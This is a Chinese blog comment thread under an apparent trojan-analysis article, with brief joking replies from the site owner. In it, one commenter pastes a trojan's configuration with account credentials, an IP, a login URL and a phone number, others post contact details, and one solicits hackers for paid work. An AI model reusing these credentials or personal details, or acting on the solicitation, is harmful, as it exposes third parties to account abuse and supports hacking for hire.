至于你信不信,反正我是信了!(另外,对现在的互联网来说,只要有你IP与具体时间戳,就等于有了你的身份证……)

佚名 @ 2013-03-17 10:44:51

求1433下载地址.....

本站回复:

文中有原始文件下载地址。

Helen @ 2013-03-18 09:19:13

做的不错 我是你helen哥

本站回复:

[暂无回复]

佚名 @ 2013-03-19 13:40:11

在江湖混不容易啊。。乱搞更是不对啊!

本站回复:

╮(╯_╰)╭。。。。。

没名字 @ 2013-03-31 21:26:50

偶然搜信息,来到贵地,写的好啊。赞一个先。 话说,每一个头像符合我身份的。就匿名了吧

本站回复:

lol...

佚名 @ 2013-04-15 12:52:52

站长,我要学怎么知道这个文件是病毒和木马还是后门,应该学那些基础,谢谢,达到你的十分之一,我应该学什么基础,谢谢

本站回复:

此问题牵扯的面太广,无法回答。

诗人博客 @ 2013-04-16 11:41:19

核总威武!

本站回复:

6789...

236686623 @ 2013-04-17 15:26:52

我的服务器这几天也中了这个叼毛的 木马 360杀毒软件 没用拦不住 配置文件 [web7b] username=zinet password=f6e8bf6d651553f3 adslauto=1 adslname= adsltype=0 kjqd=1 hide=1 zexe=9528 zt=0 jf=12856 ip=58.250.212.201 rwzs=1 type=2 id=23650 lj=C:\WINDOWS\appmgmt\bplaysvr.exe name=bplaysvr.exe desk=65552 server=1 userid=29257 帐号登录网址 http://123.183.218.33/index.asp zinet 13005520499 里面有1万多积分

本站回复:

哈哈哈,这“黑阔”要蛋疼了……

佚名 @ 2013-04-18 06:32:54

留言内容: 1+1 等于几?等于二!!!你个苦比非主流黑阔 站长回复: 等于三! 这个是不是说等于10的是专业的,等于2的都肥猪流?哈哈 另附:27、请问宇宙第一强国是? 果然被我猜中,韩国

本站回复:

药药,且可闹……

佚名 @ 2013-05-02 08:36:29

我的电脑被干上了

本站回复:

纳尼?

麦子 @ 2013-05-20 00:50:24

核总有办法一键干掉这gotop么.... ?

本站回复:

what?

麦子 @ 2013-05-20 13:00:06

昨天下载了个软件,双击安装程序之后发现鼠标闪了一下便没了动静。然后发现进程多了gotop.exe 检查C盘发现中招了...想找个一键查杀工具发现没找到,最后手动干掉了... 那货的提现密码没有搞到...

本站回复:

gotop很火嘛…… 这个不需要一键,通过进程找到安装目录,删掉即可,然后干掉对应的启动项,最后检查下有没有其他木马。

焦点访谈 @ 2013-05-21 22:49:34

焦点访谈以前就报道过一次.抓鸡黑客,好像入侵的水利发电站. 还看到了饭客的Ghost.

本站回复:

那个水利发电站纯属是抓鸡黑客,剧情十分狗血……

黑阔小胡 @ 2013-07-20 22:35:42

又是一个会抓鸡的SB!哈哈

本站回复:

哈哈哈,我为鸡狂!……囧rz……

佚名 @ 2013-08-03 09:47:39

帅气

本站回复:

Nice~

凌乱 @ 2013-08-16 20:21:07

蛋疼。。。学习了。。

本站回复:

学习了。。蛋疼。。。

佚名 @ 2013-10-21 18:57:00

我也遇到了,我邮箱是lion2743@qq.com,有wd5但是登不上去,求指教。

本站回复:

新版的已修改,点击后不能登陆后台……

佚名 @ 2013-11-09 23:50:27

大牛,学习了。

本站回复:

good good study, day day up~

我勒个去 @ 2014-02-08 11:52:39

访问已拒绝 详细信息: 网页: http://lcx.cc/?i=3371 注释: 对此网页的访问已被 ESET Smart Security 阻止。 此网页已被列入具有潜在危险内容的网站黑名单中。

本站回复:

这是误报,可能是因为本文内容包含大量木马病毒样本导致。

佚名 @ 2014-03-27 12:51:30

出于偶然看到了这篇文章,看来我还要多学习啊。。。。

本站回复:

good good study, day day up~

佚名 @ 2014-06-21 05:16:23

请在这里填写留言内容,最长不超过 1000 字。

本站回复:

[暂无回复]

佚名 @ 2015-09-04 00:08:55

大牛好腻害 膜拜

本站回复:

-_-!!!

狼狼恶狗 @ 2015-09-23 10:29:44

好叼

本站回复:

-_-!!!

佚名 @ 2015-12-04 15:14:09

我想找个黑客做业务 业务量很大 有意向联系我 谢谢1343119337

本站回复:

-_-!!!

香吉士 @ 2015-12-04 20:17:54

核总好!本人菜鸟一枚,经常来这里看帖子,前几天安装了一个Avast杀软,使用chrome一开lcx.cc它就给我报:已经检测到危害,然后不给我显示网页,郁闷啊。。。核总能不能分析一下这是啥原因啊

本站回复:

访问了本站一些病毒、木马分析的网页,因为页面内有病毒、木马样本,会被杀软误判,很正常。

佚名 @ 2015-12-06 05:24:05

无意看见这文章,只能说lz你在显摆你吗?真要干这服务器早完蛋了,还什么挂机赚钱你在给你网站打广告呢?尼玛SB,玩黑需要挂尼玛b的软件啊 还有你特么导航主页我艹你以为你才可以玩几下啊?有点电脑基础的人都可以把那些资料拿到的,你还黑哥,,兄弟没事回家洗洗睡吧别大话懂吗

本站回复:

Hello Keyboard Man! You can you UP, No can no BB! Mei shi go home to wash sleep~ You know?

康哥网络工作室 @ 2016-03-05 13:49:22

路过!路过!求带我装逼,带我飞!

本站回复:

-_-!!!